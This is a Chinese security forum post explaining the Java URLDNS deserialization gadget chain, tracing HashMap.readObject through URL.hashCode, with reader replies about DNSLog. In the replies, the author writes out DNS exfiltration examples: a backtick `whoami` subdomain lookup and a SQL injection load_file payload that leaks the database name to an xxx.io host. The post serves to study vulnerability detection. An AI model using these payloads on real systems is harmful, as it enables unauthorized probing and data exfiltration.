首页
社区
课程
招聘
[原创]URLDNS反序列化利用链
发表于: 2024-8-26 22:46 5130

[原创]URLDNS反序列化利用链

2024-8-26 22:46
5130

DNSLog:http://ceye.io

Java序列化payload生成:https://github.com/0ofo/Deswing

JDK1.8

1. 先在DNSLog平台获得一个域名:

2. 使用Deswing工具生成URLDNS的序列化文件:

3. 编写一段反序列化代码:

4. 执行后查看产生了DNSLog记录:


先来看反序列化后产生的是一个HashMap类型的对象,其中key为URL类型,value是一个String:


在Java反序列化中,如果目标对象定义了readObject方法,则ObjectInputStream在调用readObject方法时,也会反射调用目标对象的readObject方法。

既然我们这里反序列化出的是一个HashMap对象,那我们找找HashMap是否定义了该方法:


果然有,进入这个方法,将断点打到1397行:


这里调用了hash方法,跟进去:


继续调用key.hashCode(),跟进去:


前文提到HashMap对象的key是URL类型,所以这里是调用到了URL的hashCode方法,该方法的逻辑是:如果hashCode不等于-1,则直接返回,否则再调用handler的hashCode方法。点到hashCode的定义处可见其初始值为-1,所以这段逻辑也可理解为:如果hashCode是一个初始化值-1,则需要调用handler的hashCode方法为其赋值,如果不是-1,说明已经赋过值了,直接返回。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-8-27 15:39 被米龙·0xFFFE编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 3988
活跃值: (5635)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
除了触发dns的查询请求,有其他什么危害么
2024-8-26 23:24
0
雪    币: 5510
活跃值: (870)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
guduzhe 除了触发dns的查询请求,有其他什么危害么
dnslog的作用是可以在域名前添加自定义前缀,这个前缀可以是命令执行结果,比如`whoami`.xxx.io,也可用于sql注入,比如select load_file(concat('\\\\',database(),'.xxx.io\\aax'))
2024-8-27 07:29
0
雪    币: 3988
活跃值: (5635)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
米龙·0xFFFE dnslog的作用是可以在域名前添加自定义前缀,这个前缀可以是命令执行结果,比如`whoami`.xxx.io,也可用于sql注入,比如select load_file(concat('\\\\',d ...
你说的这个是sql注入,场景不一样
2024-8-27 08:10
0
雪    币: 5510
活跃值: (870)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
5
guduzhe 你说的这个是sql注入,场景不一样
不一定非得sql注入,我意思是可以用于信息收集
2024-8-27 08:38
0
雪    币: 86
活跃值: (2026)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
米龙·0xFFFE 不一定非得sql注入,我意思是可以用于信息收集
这就是探测用的...你这看来还没学会啊。。就开始瞎说了
2024-8-27 11:27
0
雪    币: 5510
活跃值: (870)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
Met三二 这就是探测用的...你这看来还没学会啊。。就开始瞎说了
具体要探测什么,麻烦说详细些
2024-8-27 12:24
0
雪    币: 5510
活跃值: (870)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
单说这个利用链,纯粹就是为了验证目标是否存在反序列化漏洞。DNSLog还有其它作用,比如我说的sql注入,或者ping `whoami`.xxx.io可以得到系统用户名。
2024-8-27 13:06
0
雪    币: 86
活跃值: (2026)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
米龙·0xFFFE 具体要探测什么,麻烦说详细些
最后于 2024-8-27 14:42 被Met三二编辑 ,原因:
2024-8-27 14:31
0
雪    币: 5510
活跃值: (870)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
10
Met三二 探测反序列用的,而且urldns也和执行命令没有关系吧。`whoami`.xxx.io这和urldns链没关系啊。看来你应该是刚学java吧。。
我也没说`whoami`.xxx.io是urldns链呀,我只说这是dnslog的一种利用方式,dnslog又不是只能用来探测反序列化漏洞
2024-8-27 14:38
0
游客
登录 | 注册 方可回帖
返回
//